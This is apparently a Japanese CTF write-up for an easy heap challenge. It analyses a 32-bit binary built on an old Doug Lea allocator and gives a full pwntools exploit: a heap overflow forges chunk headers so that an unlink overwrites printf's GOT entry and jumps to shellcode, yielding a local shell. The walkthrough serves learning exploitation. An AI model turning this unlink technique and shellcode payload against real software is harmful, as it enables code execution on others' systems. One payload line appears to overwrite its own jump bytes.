pwn challenges list easy heap
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ file heap | sed -e "s/,/\n/g" heap: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5 not stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ checksec.sh --file heap RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH heap
NX有効.
解析
さっそく起動してみる.
20個オブジェクトを割り当てたと出力が出て260バイトのサイズで入力を求められるので271バイト送ってみる.
割り当てた領域を11個目のオブジェクトを開放する際にプログラムが落ちている.
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ ./heap Welcome to your first heap overflow... I am going to allocate 20 objects... Using Dougle Lee Allocator 2.6.1... Goodluck! Exit function pointer is at 804C8AC address. [ALLOC][loc=8E2D008][size=1246] [ALLOC][loc=8E2D4F0][size=1121] [ALLOC][loc=8E2D958][size=947] [ALLOC][loc=8E2DD10][size=741] [ALLOC][loc=8E2E000][size=706] [ALLOC][loc=8E2E2C8][size=819] [ALLOC][loc=8E2E600][size=673] [ALLOC][loc=8E2E8A8][size=1004] [ALLOC][loc=8E2EC98][size=952] [ALLOC][loc=8E2F058][size=755] [ALLOC][loc=8E2F350][size=260] [ALLOC][loc=8E2F458][size=877] [ALLOC][loc=8E2F7D0][size=1245] [ALLOC][loc=8E2FCB8][size=1047] [ALLOC][loc=8E300D8][size=1152] [ALLOC][loc=8E30560][size=1047] [ALLOC][loc=8E30980][size=1059] [ALLOC][loc=8E30DA8][size=906] [ALLOC][loc=8E31138][size=879] [ALLOC][loc=8E314B0][size=823] Write to object [size=260]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Copied 271 bytes. [FREE][address=8E2D008] [FREE][address=8E2D4F0] [FREE][address=8E2D958] [FREE][address=8E2DD10] [FREE][address=8E2E000] [FREE][address=8E2E2C8] [FREE][address=8E2E600] [FREE][address=8E2E8A8] [FREE][address=8E2EC98] [FREE][address=8E2F058] [FREE][address=8E2F350] Segmentation fault (コアダンプ)
てことでデバッガで追ってみると,次のような処理をしていた.
1. 乱数により生成されたサイズ分(毎回固定),mallocで領域確保.ただし11個目のサイズは0x104で固定
2. 確保した領域のアドレスとサイズをスタックに保存.
3. ユーザからの入力をサイズ0x1000で受け取り.
4. ユーザから受け取った入力をmemcpy関数で11個目の確保領域にコピー.(ここでヒープオーバーフローが起こせる)
5. 各領域を確保した順にfree関数で解放
heap関連はあまり経験がないので,ここからbataさんの資料等を参考に進めている.
最初の出力でもわかるがここで使われているmalloc関連の関数はDougle Lee Allocator 2.6.1を用いているらしい.
http://gee.cs.oswego.edu/pub/misc/malloc-2.6.1.c
この Dougle Lee Allocator 2.6.1のfree()の際のunlinkは下記のようになっている.
しかし,古き良き時代のものなので,Ful->bk == p, Bul->fd == pの判定が入っておらず簡単にunlink attackができる.
#define unlink(p) { mchunkptr Bul = (p)->bk; mchunkptr Ful = (p)->fd; Ful->bk = Bul; Bul->fd = Ful; }
ついでにこのプログラム,割当ての際にheap領域が実行可能になるらしい.
NXが有効にもかかわらず,heap領域に限っては自前のシェルコードが実行できる.
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x0804b000 r-xp /home/mattun-mart/Workspace/pwn/easy/heap/heap 0x0804b000 0x0804c000 r--p /home/mattun-mart/Workspace/pwn/easy/heap/heap 0x0804c000 0x0804d000 rw-p /home/mattun-mart/Workspace/pwn/easy/heap/heap 0x0804d000 0x08051000 rwxp [heap] 0xf7e05000 0xf7e06000 rw-p mapped 0xf7e06000 0xf7fb6000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xf7fb6000 0xf7fb8000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xf7fb8000 0xf7fb9000 rw-p /lib/i386-linux-gnu/libc-2.23.so 0xf7fb9000 0xf7fbc000 rw-p mapped 0xf7fd4000 0xf7fd5000 rw-p mapped 0xf7fd5000 0xf7fd8000 r--p [vvar] 0xf7fd8000 0xf7fd9000 r-xp [vdso] 0xf7fd9000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 rw-p [stack]
Exploit
方針としては,
1. ヒープオーバーフローで入力に12個目の領域のsize,fb,bkを書き換え.またシェルコードを積んでおく.
2. 11個目の領域をfree()で解放するときにunlink attackでGOT領域の関数をシェルコードに向ける.
3. GOT関数が呼び出された際に,シェルコード実行.
図にするとこんな感じ.
うまく12個目のchunkをfreeさせるために,12個目のチャンクのprev_inuseの値を1にするのと,13個目のチャンク(array12_addr + sizeで位置を計算可)のprev_inuseの値を0にするのを忘れずに.
最終的には以下のようなExploitコードになった.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * conn = process('./heap') elf = ELF('./heap') printf_got_addr = elf.got['printf'] heap_addr = int(conn.recvuntil('size=260')[-17:-10],16) shellcode = asm(shellcraft.sh()) buf_size = 0x104 payload = "\xeb\x10" # jmp 0x10 p->bk->fd = p->fdの際に入力内容が一部アドレスで書き換わるのでjmpで避ける. payload = "A" * (0x10 - len(payload)) payload += shellcode payload += "A" * (buf_size - len(payload)) payload += p32(0x11) # size chunk12 prev_inuse = 1 chunk13 prev_inuse = 0 payload += p32(printf_got_addr - 8) # fb payload += p32(heap_addr) # bk payload += "\n" conn.send(payload) conn.recv() conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ python exploit.py [+] Starting local process './heap': pid 13042 [*] '/home/mattun-mart/Workspace/pwn/easy/heap/heap' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Switching to interactive mode ] [ALLOC][loc=853F458][size=877] [ALLOC][loc=853F7D0][size=1245] [ALLOC][loc=853FCB8][size=1047] [ALLOC][loc=85400D8][size=1152] [ALLOC][loc=8540560][size=1047] [ALLOC][loc=8540980][size=1059] [ALLOC][loc=8540DA8][size=906] [ALLOC][loc=8541138][size=879] [ALLOC][loc=85414B0][size=823] Write to object [size=260]: Copied 273 bytes. [FREE][address=853D008] [FREE][address=853D4F0] [FREE][address=853D958] [FREE][address=853DD10] [FREE][address=853E000] [FREE][address=853E2C8] [FREE][address=853E600] [FREE][address=853E8A8] [FREE][address=853EC98] [FREE][address=853F058] [FREE][address=853F350] $ ls core exploit.py heap.id0 heap.id2 heap.til dump heap heap.id1 heap.nam peda-session-heap.txt
今まで逆アセンブル結果はobjdumpの結果を見ていたが,今回はIDAを使ってみた.
制御フローが可視化されるのがとても良い.
この調子でheapの理解を深めていきたい.